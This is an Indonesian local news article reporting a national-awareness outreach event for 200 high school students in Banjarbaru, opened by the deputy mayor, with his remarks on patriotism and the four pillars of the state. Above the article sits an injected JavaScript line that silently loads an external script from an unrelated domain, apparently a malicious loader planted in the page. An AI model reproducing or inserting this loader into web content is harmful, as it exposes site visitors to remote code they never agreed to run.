(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tanamkan Cinta Tanah Air, 200 Siswa Digembleng Wawasan Kebangsaan

BANJARBARU, Ratusan pelajar dari berbagai SMA/SMK/MA se-Banjarbaru mengikuti sosialisasi Pendidikan Wawasan Kebangsaan yang digelar di Aula Linggangan Intan Banjarbaru, Kamis (26/10). Kegiatan ini dibuka oleh Wakil Walikota Banjarbaru Darmawan Jaya Setiawan.

Ada sebanyak 200 pelajar yang datang dalam kegiatan tersebut. Dimana sebagai peserta, masing-masing sekolah mengirimkan 3 siswa disertai guru pendamping. Materi wawasan kebangsaan dalam sosialisasi ini disampaikan langsung oleh Kepala LPMI Provinsi Kalimantan Selatan.

Darmawan Jaya Setiawan dalam sambutannya menyampaikan, pelajar diberikan pendidikan kebangsaan karena menjadi harapan dan masa depan bangsa.

”Pelajar dimanapun yang ada di dunia ini memiliki kedudukan yang sangat strategis, posisi pelajar sangat penting karena tentunya pelajar akan mewarisi bangsa ini,” kata Jaya.

Dewasa ini, tambah aya, kecintaan dan kebanggaan terhadap bangsa dan tanah air Indonesia tampaknya semakin memudar. Hal ini bisa dilihat dari mengkristalnya paham individualistik dan wawasan sempit lainnya dalam kehidupan masyarakat.

”Saat ini nilai-nilai moral juga semakin banyak dilanggar, sering terjadi pertikaian antar elit, tawuran antar pelajar semakin menjadi, berita/info hoax menyebar di media sosial. Ini semua adalah gambaran semakin melemahnya manusia dalam mengimplementasikan nilai-nilai kebangsaan. Oleh karena itu saya sangat mengapresiasi Badan Kesbangpol Kota Banjarbaru yang mengadakan acara sosialisasi Pendidikan Wawasan Kebangsaan ini, terutama kepada pelajar sebagai perwakilan generasi muda,” terangnya.

Secara teori wawasan kebangsaan adalah cara pandang bangsa Indonesia berdasarkan Pancasila dan Undang-Undang Dasar 1945 tentang diri dan kehidupannya, dalam mengekspresikan diri sebagai Bangsa Indonesia di tengah kehidupan global. ”Sebagai pemilik Bangsa Indonesia di masa depan, para pemuda harus menjiwai dan menghayati wawasan kebangsaan ini. Di Indonesia ada 4 pilar yang harus dijadikan pijakan, yaitu Pancasila, Undang-Undang Dasar RI Tahun 1945, Negara Kesatuan Republik Indonesia dan Bhinneka Tunggal Ika,” tuturnya.

Sosialisasi ini juga dihadiri oleh Kodim 1006 Martapura, Plh Kepala Badan Kesbangbol Kota Banjarbaru dan juga kepala masing-masing SKPD di lingkup Kota Banjarbaru.